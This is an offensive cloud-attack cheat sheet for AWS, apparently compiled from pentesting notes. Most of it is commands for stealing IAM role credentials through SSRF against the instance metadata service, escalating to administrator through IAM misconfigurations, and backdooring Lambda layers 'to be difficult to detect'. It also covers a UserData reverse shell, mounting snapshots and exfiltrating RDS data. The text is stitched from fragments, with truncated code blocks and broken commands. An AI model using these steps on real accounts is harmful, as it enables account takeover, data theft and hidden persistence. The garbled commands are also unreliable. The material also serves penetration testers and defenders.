* [Pacu](https://github.com/RhinoSecurityLabs/pacu) - Exploit configuration flaws within an AWS environment using an extensible collection of modules with a diverse feature-set
* [Bucket Finder](https://digi.ninja/projects/bucket_finder.php) - Search for public buckets, list and download all files if directory indexing is enabled
* [cloudsplaining](https://github.com/salesforce/cloudsplaining) - An AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized report
Example : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
1. Access the IAM : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/
```powershell
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
```
2. Find the name of the role assigned to the instance : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. Extract the role's temporary keys : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
2. Use the credential URL to dump the AccessKey and SecretKey : https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
- **iam:CreateAccessKey**iam:CreateAccessKey : create a new access key to another IAM admin account
```powershell
aws iam create-access-key –user-name target_user
```
- **iam:CreateLoginProfile** : add a new password-based login profile, set a new password for an entity and impersonate it
```powershell
$ aws iam create-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^('–no-password-reset-required
```
- **iam:UpdateLoginProfile** : reset other IAM users’ login passwords.
```powershell
$ aws iam update-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^('–no-password-reset-required
```
- **iam:AttachUserPolicy**, **iam:AttachGroupPolicy** or **iam:AttachRolePolicy** : attach existing admin policy to any other entity he currently possesses
```powershell
$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
$ aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```
- **iam:PutUserPolicy**, **iam:PutGroupPolicy** or **iam:PutRolePolicy** : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.
```powershell
$ aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document file://path/to/administrator/policy.json
```
- **iam:CreatePolicy** : add a stealthy admin policy
- **iam:AddUserToGroup** : add into the admin group of the organization.
```powershell
$ aws iam add-user-to-group –group-name target_group –user-name my_username
```
- **iam:UpdateAssumeRolePolicy** + **sts:AssumeRole** : change the assuming permissions of a privileged role and then assume it with a non-privileged account.
```powershell
$ aws iam update-assume-role-policy –role-name role_i_can_assume –policy-document file://path/to/assume/role/policy.json
```
- **iam:CreatePolicyVersion** &**iam:SetDefaultPolicyVersion** : change customer-managed policies and change a non-privileged entity to be a privileged one.
```powershell
$ aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default
$ aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2
```
- **lambda:UpdateFunctionCode** : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.
- **iam:PassRole** + **ec2:CreateInstanceProfile**/**ec2:AddRoleToInstanceProfile** : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.
- **iam:PassRole** + **ec2:RunInstance** : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.
- **iam:PassRole** + **lambda:CreateFunction** + **lambda:InvokeFunction** : give a user access to the privileges associated with any Lambda service role that exists in the account.
:warning: EBS snapshots are block-level incremental, which means that every snapshot only copies the blocks (or areas) in the volume that had been changed since the last snapshot. To restore your data, you need to create a new EBS volume from one of your EBS snapshots. The new volume will be a duplicate of the initial EBS volume on which the snapshot was taken.
> Using the extracted information, the tool will generate a forged SAML token as an arbitrary user that can then be used to authenticate to Office 365 without knowledge of that user's password. This attack also bypasses any MFA requirements.
> Amazon DynamoDB is a key-value and document database that delivers single-digit millisecond performance at any scale. It's a fully managed, multi-region, multi-active, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications. DynamoDB can handle more than 10 trillion requests per day and can support peaks of more than 20 million requests per second.
*The account id can be cathered using the sts get caller command.*
### Privilege Escalation
* Privilege escalation on AWS is based on misconfigurations, if we have more permissions than necessary, its possible to obtain higher privileges.
#### Study Case
* A user was compromised with the *List Policy* and *Put User Policy* permissions, an attacker could leverage this *Put User* privilege to add an inline administrator to itself, making it administrator of the instance.
##### Exploitation
1. Getting the IAM user
```
aws sts get-caller-identity
```
2. Listing policies attached to an user
```
aws iam list-attached-user-policies --user-name example_name -- profile example_profile
```
3. Retrieving informations about an specific policy
```
aws iam get-policy --policy-arn policy_arn
```
If there are more than one version of the policy, we can also list them
```
aws iam list-policy-versions --policy-arn policy_arn
```
Now we can finally retrieve the contents of the policy
```
aws iam get-policy-version --policy-arn example_arn --version-id id_example
```
*It's important to use the command above to chech the information about the default policy*
4. Escalation
If we have the PutUserPolicy is enabled, we can add an inline administrator policy to our user.
Administrator policy example
```json
{
"Version": "2021-10-17",
"Statement" : [
{
"Effect":"Allow",
"Action": [
"*"
],
"Resource":[
"*"
]
}
]
}
```
### Attaching this policy into our user
```
aws iam put-user-policy --user-name example_username --policy-name example_name --policy-document file://AdminPolicy.json
```
### Listing inline policies of our user
```
aws iam list-user-policies --user-name example_name
```
### Listing a restricted resource (Example S3)
```
aws s3 ls --profile example_profile
```
### Interesting Permissions
* iam:AttachUserPolicy -> Attach a policy to a user
* iam:AttachGroupPolicy -> Attach a policy to a group
* iam:AttachRolePolicy -> Attach a policy to a role
* iam:CreateAccessKey -> Creates a new access key
* iam:CreateLoginProfile -> Creates a new login profile
* iam:UpdateLoginProfile -> Update an existing login profile
* iam:PassRole and ec2:RunInstances -> Creates an EC2 instance with an existing instance profile
* iam:PuserUserPolicy -> Create/Update an inline policy
* iam:PutGroupPolicy -> Create/Update an inline policy for a group
* iam:PutRolePolicy -> Create/Update an inline policy for a role
* iam:AddUserToGroup -> Add an user to a group
* iam:UpdateAssumeRolePolicy and sts:AssumeRole -> Update the AssumeRolePolicyDocument of a role
* iam:PassRole,lambda:CreateFunction and lambda:InvokeFunction -> Pass a role to a new lambda function and invoke it
* lambda:UpdateFunctionCode -> Update the code of an existing lambda function
### Persistence & Backdooring
* Suppose we have two users, the user A has permissions to create Access Keys to user B, this misconfig allows us to create an access key for user B and persist our access.
#### Creating a new acess key for another user
```
aws iam create-access-key --username example_username
```
#### Configuring AWS cli for the new user
```
aws configure --profile example_profile
```
*Remember, an user can have the maximum of 2 access keys*.
* It's possible to assume other roles with the sts:AssumeRole permission (Example: An user doesn't have access to an s3 instance, but it has this permission, we can easily assume other roles if we are in the trust relashionship, increasing our access in the instance)
##### Listing managed policies attached to an user
```
aws iam list-attached-user-policies --user-name example_name
```
##### Retrieving information about an specific policy
```
aws iam get-policy --policy-arn ARN
```
##### Listing information about the version of the policy
```
aws iam list-policy-versions --policy-arn ARN
```
##### Retrieving information about an specific version
```
aws iam get-policy-version --policy-arn policy_arn --version-id ID
```
##### Listing IAM roles
```
aws iam list-roles
```
##### Listing trust relashionship between role and user (Which roles we can assume)
```
aws iam get-role --role-name role_name
```
##### Listing all managed policies attached to the specific IAM role
```
aws iam liast-attached-role-policies --role-name role_name
```
##### Retrieving information about the specified version of the policy
```
aws iam get-policy-version --policy-arn policy_arn --version-id ID
aws lambda get-layer-version --layer-name name --version-number version_number
```
### Listing Rest API'S
```
aws apigateway get-rest-apis
```
### Listing information about a specific API
```
aws apigateway get-rest-api --rest-api-id ID
```
### Listing information about endpoints
```
aws apigateway get-resources --rest-api-id ID
```
### Listing information about a specific endpoint
```
aws apigateway get-resource --rest-api-id ID --resource-id ID
```
### Listing method information for the endpoint
```
aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method
```
* Test various methods to see if the API supports it.
### Listing all versions of a rest api
```
aws apigateway get-stages --rest-api-id ID
```
### Getting informatin about a specific version
```
aws apigateway get-stage --res-api-id ID --stage-name NAME
```
### Listing API KEYS
```
aws apigateway get-api-keys --include-values
```
### Getting information about a specific API Key
```
aws apigateway get-api-key --api-key KEY
```
## Initial Access
* Its possible to get RCE through API Gateway if it executes commands.
* If you can execute commands, there is a way to retrieve keys from the API Gateway, just use `env` , configure `aws cli` and proceed with the exploitation.
## Credential Access
Getting credentials from Lambda can be done in 2 ways
1. Keys in the source code
2. Keys in the enviroment variables
These keys can be gathered using SSRF, RCE and so on.
### Getting credentials from lambda enviroment variables (cli)
```
aws lambda get-function --function-name NAME
```
* It's important to enumerate the functions first with `aws lambda list-functions`
## Persistence
* If the user has sufficient rights in the lambda function, its possible to download the source code, add a backdoor to it and upload. Everytime the lambda executes, the malicious code will also execute.
* Always try to update the code of layers (depedencies) instead of the actual lambda code, this way our backdoor will be difficult to detect.
### Checking which user is executing
```
aws sts get-caller-identity
```
### Checking all managed policies attached to the user
```
aws iam list-attached-user-policies --user-name user_name
```
### Checking informations about a specific policy
```
aws iam get-policy-version --policy-arn arn --version-id ID
```
### Listing all lambda functions
```
aws lambda list-functions --region region
```
### Listing information about the specified lambda
```
aws lambda get-function --function-name name
```
* Download and analyze the codes
### Listing policy information about the specific lambda function
```
aws lambda get-policy --function-name name --profile profile --region region
```
* We can grab informations like id, who can invoke and other details with this command (Helps to build the query to execute the lambda function).
### Listing Rest API'S
```
aws apigateway get-rest-apis
```
### Listing information about a specific API
```
aws apigateway get-rest-api --rest-api-id ID
```
### Listing information about endpoints
```
aws apigateway get-resources --rest-api-id ID
```
### Listing information about a specific endpoint
```
aws apigateway get-resource --rest-api-id ID --resource-id ID
```
### Listing method information for the endpoint
```
aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method
```
* Test various methods to see if the API supports it.
### Listing all versions of a rest api
```
aws apigateway get-stages --rest-api-id ID
```
### Getting informatin about a specific version
```
aws apigateway get-stage --res-api-id ID --stage-name NAME
```
### Uploading the backdoor code to aws lambda function
```
aws lambda update-function-code --function-name function --zip-file fileb://my-function.zip
*All these details are gathered during the enumeration.*
## Privilege Escalation
* If we have a user with PassRole and CreateFunction roles and also AttachRolePolicy role in a Lambda Function, its possible to create a function with a code that changes the lambda role to admin then the user to Administrator.
### Create a lambda function and attach a role to it
* Registry -> Secure place to store container images (ECR)
* Orchestration -> Configure when and where the containters run (ECS,EKS)
* Compute -> Use to do computing related tasks (EC2, Fargate)
* Its possible to create a backdoor image and add to a EKS cluster
* Always look how VPC's are communicatig with each other, maybe is possible to pivot through the EKS VPC from other VPC and compromise the entire cluster
## Initial Access
* The initial access can be done by exploiting some RCE in webapp to get access to the container, afterwards its possible to compromise the EC2.
X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
&& curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/meta-data/
```
#### AWS Userdata
Version 1
```
curl http://169.254.169.254/latest/user-data/
```
Version 2
```bash
TOKEN=`curl
X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
&& curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/user-data/
```
### Privilege Escalation
* One approach to get a shell in a instance is to put a reverse shell in UserData attribute, when the instance is launched, we will have the connection.
* Another approach happens when we have the iam:PassRole and iam:AmazonEC2FullAccess permissions, we can add an administrator role to the compromised EC2 instance and access aws services.
#### Getting information about the key
```
aws sts get-caller-identity
```
#### Getting policies attached to the IAM user
```
aws iam list-attached-user-policies --user-name user_name
```
#### Getting information about a specific policy version
```
aws iam get-policy-version --policy-arn ARN --version-id ID
```
To attach a role to an EC2 instance, we can use the RCE to grab the ID
aws ec2 create-volume --snapshot-id ID --availability-zone ZONE --profile profile_name
```
* The volume needs to be in the same availability zone as the instance we have access
### Attaching the volume to an instance
```
aws ec2 attach-volume --volume-id VolumeID --instance-id InstanceID --device /dev/sdfd -> Can be other value
```
### Mounting the volume
```
sudo mount /dev/sdfd /directory
```
After mounting, we will have access to the disk.
# RDS - Relational Database Service
* Service to use, operate and scale relational databases in AWS (MariaDB, MySQL and similar)
* The access is done by using password, password+IAM or password+kerberos
* It's possible to restrict access using restriction such as specific EC2 or lambda or use network level restriction such as vpc, ip.
* RDS Proxy hadles the traffic between the application and the database, it enables the enforcing of IAM permissions and use secrets manager to store credentials.
## Enumeration
### Listing information about clusters in RDS
```
aws rds describe-db-clusters
```
### Listing information about RDS instances
```
aws rds describe-db-instances
```
* IAMDatabaseAuthenticationEnabled: false -> Need password to access the instance
### Listing information about subnet groups in RDS
```
aws rds describe-db-subnet-groups
```
### Listing information about database security groups in RDS
```
aws rds describe-db-security-groups
```
### Listing information about database proxies
```
aws rds describe-db-proxies
```
## Data exfiltration
* If the instance is in a security group or VPC, we need to compromise it first to access the database (For example, we compromise an EC2 instance in the same VPC, then its possible to connect)
### List instances in RDS
```
aws rds describe-db-instances
```
### List information about the specified security group
```
aws ec2 describe-security-groups --group-ids id
```
### Password based authentication
```
mysql -h hostname -u name -P port -p password
```
### IAM Based authentication
**1. Identify the user**
```
aws sts get-caller-identity
```
**2. List all policies attached to a role**
```
aws iam list-attached-role-policies --role-name name
```
**3. Get information about a specific version of a policy**
```
aws iam get-policy-version --policy-arn arn --version-id ID
```
**4. Get a temporary token from the RDS**
```
aws rds generate-db-auth-token --hostname hostname --port port --username username --region region
* [Privilege escalation in the Cloud: From SSRF to Global Account Administrator - Maxime Leblanc - Sep 1, 2018](https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6)
* [HOW I HACKED A WHOLE EC2 NETWORK DURING A PENETRATION TEST - by Federico Fernandez](https://www.secsignal.org/en/news/how-i-hacked-a-whole-ec2-network-during-a-penetration-test/)
* [How to Attach and Mount an EBS volume to EC2 Linux Instance - AUGUST 17, 2016](https://devopscube.com/mount-ebs-volume-ec2-instance/)
* [Getting shell and data access in AWS by chaining vulnerabilities - Riyaz Walikar - Aug 29, 2019 ](https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed)
* [Getting started with Version 2 of AWS EC2 Instance Metadata service (IMDSv2) - Sunesh Govindaraj - Nov 25, 2019](https://blog.appsecco.com/getting-started-with-version-2-of-aws-ec2-instance-metadata-service-imdsv2-2ad03a1f3650)